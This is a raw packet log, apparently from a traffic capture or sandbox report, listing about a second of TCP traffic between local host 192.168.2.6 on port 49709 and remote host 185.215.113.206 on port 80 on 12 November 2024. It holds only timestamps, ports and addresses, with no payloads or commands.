Nov 12, 2024 10:37:08.642235994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.642343998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642355919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642366886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642379045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642394066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.642422915 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.642858028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642884970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642905951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.642937899 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.642971039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.643017054 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.643028975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.643078089 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.677859068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.677879095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.677891016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.677970886 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678040028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678073883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678086996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678091049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678119898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678133965 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678152084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678220987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678221941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678272963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678311110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678323984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678355932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678386927 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678503990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678546906 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678550005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678560972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678596020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678728104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678783894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678797007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678808928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678863049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.678930044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.678987026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.679121971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.679160118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.679169893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.679172993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.679202080 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.679214954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.679284096 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.679328918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.726975918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.726999044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.727010965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.727102041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.727114916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.727125883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.727134943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.727159977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.727185011 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.758682966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.758761883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.758774042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.758814096 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.758822918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.758827925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.758848906 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.758877993 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.758970976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759012938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759057045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759071112 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759099007 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759116888 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759176970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759218931 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759383917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759419918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759453058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759466887 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759489059 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759506941 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759615898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759629011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759654999 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759674072 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759884119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759923935 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.759953022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759964943 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.759987116 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.760004997 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.794991970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795026064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795042992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795077085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795181990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795181990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795181990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795227051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795270920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795284033 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795295000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795342922 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795408010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795428038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795443058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795449018 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795458078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795478106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795509100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795664072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795711994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795753002 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795767069 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795778990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.795797110 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.795819044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.796216011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.796271086 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.796284914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.796298981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.796329975 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.796346903 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.796377897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.796423912 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.796494007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.796505928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.796538115 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.796555042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.843101025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.843132973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.843147039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.843223095 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.843231916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.843246937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.843437910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.843437910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.843437910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.875972986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876007080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876022100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876045942 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876075029 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876116037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876130104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876154900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876195908 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876250982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876264095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876301050 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876385927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876399040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876405001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876504898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876631021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876694918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876698017 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876708984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876735926 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876760960 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876844883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876857996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.876894951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.876909971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.911926985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.911942005 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.911955118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912009954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912014008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912024975 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912033081 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912048101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912071943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912112951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912386894 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912441969 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912445068 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912488937 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912530899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912544966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912570000 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912585020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912708044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912720919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912733078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912748098 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912765026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912827969 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.912873983 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.912982941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913023949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.913049936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913064003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913100004 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.913111925 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.913192034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913206100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913244963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.913461924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913503885 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.913531065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913546085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913573980 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.913588047 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.913646936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.913686991 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.960293055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.960319042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.960334063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.960352898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.960375071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.960388899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.960396051 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.960424900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.992960930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.992993116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993006945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993016005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993069887 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993103027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993117094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993144035 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993170977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993230104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993242979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993267059 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993297100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993381977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993395090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993407965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993421078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993434906 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993460894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993614912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993627071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993638992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993652105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.993655920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993666887 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.993693113 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.994007111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.994049072 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029233932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029259920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029273987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029285908 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029287100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029301882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029318094 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029366970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029525995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029573917 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029601097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029613018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029637098 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029654026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029766083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029778004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029791117 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029818058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029844046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.029930115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.029973030 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030014992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030028105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030051947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030072927 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030210018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030221939 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030234098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030246019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030256987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030273914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030302048 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030452967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030464888 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030494928 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030522108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030741930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030781031 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.030781031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.030822992 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.077275038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.077316046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.077328920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.077373028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.077385902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.077397108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.077573061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.110569000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.110635042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.110661983 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.110708952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.110718012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.110724926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.110738039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.110752106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.110755920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.110790014 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.112054110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.112067938 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.112078905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.112092018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.112106085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.112116098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.112128973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.112147093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.112163067 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.112169027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.112183094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.112209082 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.112236977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.113095045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.113107920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.113128901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.113140106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.113154888 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.113176107 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.145997047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146039963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146051884 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.146056890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146080971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.146104097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.146188974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146203041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146230936 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.146250963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.146733046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146783113 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.146851063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146864891 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146907091 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.146964073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146977901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.146991014 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.147003889 CET	80	49709	185.215.113.206	192.168.2.6
